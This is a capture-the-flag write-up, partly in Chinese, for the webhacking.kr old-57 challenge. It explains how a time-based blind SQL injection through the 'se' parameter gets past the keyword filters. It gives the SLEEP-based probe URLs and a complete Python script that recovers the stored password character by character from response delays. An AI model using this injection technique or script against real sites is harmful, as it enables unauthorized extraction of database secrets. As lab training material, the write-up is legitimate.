Challenge
Extract the flag stored in the secret field through a timing oracle.
通过 timing oracle 提取 secret 字段中的 flag。
https://webhacking.kr/challenge/web-34/Analysis
服务端把 se 直接拼入 INSERT 的数值位置,并过滤 select、and、or、not、&、| 和 benchmark。IF、LENGTH、ASCII、SUBSTR 与 SLEEP 仍可使用,因此可以用响应时间区分条件真假。
条件为真时执行 SLEEP(2),条件为假时执行 SLEEP(0)。位置参数按 MySQL 字符串函数约定从 1 开始。发送请求时必须测量整个 HTTP 请求耗时,并以明显高于正常响应的延迟作为 true oracle,而不是依赖页面正文。
Solution
基础长度探针:
https://webhacking.kr/challenge/web-34/?msg=a&se=IF%28LENGTH%28pw%29%3DN%2CSLEEP%282%29%2CSLEEP%280%29%29其中 N 替换为待测试长度。单字符探针:
https://webhacking.kr/challenge/web-34/?msg=a&se=IF%28ASCII%28SUBSTR%28pw%2CN%2C1%29%29%3DC%2CSLEEP%282%29%2CSLEEP%280%29%29其中 N 是 1-based 位置,C 是待测试字符的 ASCII 数值。脚本按页面输入编码请求,使用延迟阈值枚举长度与字符:
import osimport stringimport time
import requests
BASE_URL = os.environ.get("WEBHACKING_BASE", "https://webhacking.kr")ENDPOINT = f"{BASE_URL}/challenge/web-34/"SESSION_ID = os.environ.get("CHALLENGE_SESSION", "")SLEEP_SECONDS = 2DELAY_THRESHOLD = 1.5MAX_LENGTH = 64CHARACTERS = string.ascii_letters + string.digits + string.punctuation
def make_session(): session = requests.Session() session.headers.update({"User-Agent": "old-57-writeup/1.0"}) if SESSION_ID: session.cookies.set("PHPSESSID", SESSION_ID, domain="webhacking.kr", path="/") return session36 collapsed lines
def request_is_true(session, condition): expression = ( f"IF({condition},SLEEP({SLEEP_SECONDS}),SLEEP(0))" ) started = time.monotonic() response = session.get( ENDPOINT, params={"msg": "a", "se": expression}, timeout=SLEEP_SECONDS + 10, ) elapsed = time.monotonic() - started response.raise_for_status() return elapsed >= DELAY_THRESHOLD
def discover_length(session): for length in range(1, MAX_LENGTH + 1): if request_is_true(session, f"LENGTH(pw)={length}"): return length raise RuntimeError("password length was not found")
def recover_flag(session, length): flag = "" for position in range(1, length + 1): for character in CHARACTERS: code = ord(character) condition = f"ASCII(SUBSTR(pw,{position},1))={code}" if request_is_true(session, condition): flag += character print(flag) break else: raise RuntimeError(f"no character matched at position {position}") return flag
def main(): session = make_session() length = discover_length(session) print(f"length={length}") flag = recover_flag(session, length) print(f"flag={flag}")
if __name__ == "__main__": main()Timing oracle 对网络抖动敏感;SLEEP_SECONDS 和 DELAY_THRESHOLD 需要根据当前网络基线调整。